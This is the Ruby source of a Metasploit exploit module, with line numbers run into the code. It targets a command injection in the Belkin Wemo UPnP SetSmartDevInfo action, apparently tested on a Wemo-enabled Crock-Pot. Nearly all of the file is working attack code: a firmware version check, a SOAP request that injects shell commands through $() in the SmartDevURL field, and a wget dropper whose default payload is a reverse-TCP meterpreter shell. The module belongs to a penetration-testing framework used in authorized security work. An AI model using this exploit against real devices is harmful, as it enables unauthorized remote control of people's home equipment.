Path: blob/master/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Belkin Wemo UPnP Remote Code Execution',18'Description' => %q{19This module exploits a command injection in the Belkin Wemo UPnP API via20the SmartDevURL argument to the SetSmartDevInfo action.2122This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo23devices are known to be affected, albeit on a different RPORT (49153).24},25'Author' => [26'phikshun', # Discovery, UFuzz, and modules27'wvu', # Crock-Pot testing and module28'nstarke' # Version-checking research and implementation29],30'References' => [31['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'],32['URL', 'https://github.com/phikshun/ufuzz'],33['URL', 'https://gist.github.com/phikshun/10900566'],34['URL', 'https://gist.github.com/phikshun/9984624'],35['URL', 'http://web.archive.org/web/20180301171809/https://www.crock-pot.com/wemo-landing-page.html'],36['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],37['URL', 'http://www.wemo.com/']38],39'DisclosureDate' => '2014-04-04',40'License' => MSF_LICENSE,41'Platform' => ['unix', 'linux'],42'Arch' => [ARCH_CMD, ARCH_MIPSLE],43'Privileged' => true,44'Targets' => [45[46'Unix In-Memory',47{48'Platform' => 'unix',49'Arch' => ARCH_CMD,50'Type' => :unix_memory,51'DefaultOptions' => {52'PAYLOAD' => 'cmd/unix/generic'53}54}55],56[57'Linux Dropper',58{59'Platform' => 'linux',60'Arch' => ARCH_MIPSLE,61'Type' => :linux_dropper,62'DefaultOptions' => {63'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'64}65}66]67],68'DefaultTarget' => 1,69'Notes' => {70'NOCVE' => ['Patched in 2.00.8643 without vendor disclosure'],71'Stability' => [CRASH_SAFE],72'SideEffects' => [ARTIFACTS_ON_DISK],73'Reliability' => [REPEATABLE_SESSION]74}75)76)7778register_options([79Opt::RPORT(49152)80])8182register_advanced_options([83OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])84])85end8687def check88checkcode = CheckCode::Unknown8990res = send_request_cgi(91'method' => 'GET',92'uri' => '/setup.xml'93)9495unless res && res.code == 200 && res.body.include?('urn:Belkin:device:')96vprint_error('Wemo-enabled device not detected')97return checkcode98end99100vprint_good('Wemo-enabled device detected')101checkcode = CheckCode::Detected102103version = (v = res.get_xml_document.at('firmwareVersion')&.text) &&104v =~ /WeMo_WW_(\d+(?:\.\d+)+)/ && ::Regexp.last_match(1) && Rex::Version.new(::Regexp.last_match(1))105106unless version107vprint_error('Could not determine firmware version')108return checkcode109end110111vprint_status("Found firmware version: #{version}")112113# https://www.tripwire.com/state-of-security/featured/my-sector-story-root-shell-on-the-belkin-wemo-switch/114if version < Rex::Version.new('2.00.8643')115vprint_good("Firmware version #{version} < 2.00.8643")116checkcode = CheckCode::Appears117else118vprint_error("Firmware version #{version} >= 2.00.8643")119checkcode = CheckCode::Safe120end121122checkcode123end124125def exploit126case target['Type']127when :unix_memory128execute_command(payload.encoded)129when :linux_dropper130cmdstager = generate_cmdstager(131flavor: :wget,132temp: datastore['WritableDir'],133file: File.basename(cmdstager_path),134noconcat: true135)136137# HACK: "chmod +x"138cmdstager.unshift("cp /bin/sh #{cmdstager_path}")139cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') }140cmdstager = cmdstager.join(';')141142vprint_status("Regenerated command stager: #{cmdstager}")143execute_command(cmdstager)144end145end146147def execute_command(cmd, _opts = {})148send_request_cgi(149'method' => 'POST',150'uri' => '/upnp/control/basicevent1',151'ctype' => 'text/xml',152'headers' => {153'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"'154},155'data' => generate_soap_xml(cmd)156)157end158159def generate_soap_xml(cmd)160<<~EOF161<?xml version="1.0" encoding="utf-8"?>162<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">163<s:Body>164<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">165<SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>166</u:SetSmartDevInfo>167</s:Body>168</s:Envelope>169EOF170end171172def cmdstager_path173@cmdstager_path ||=174"#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}"175end176177end178179180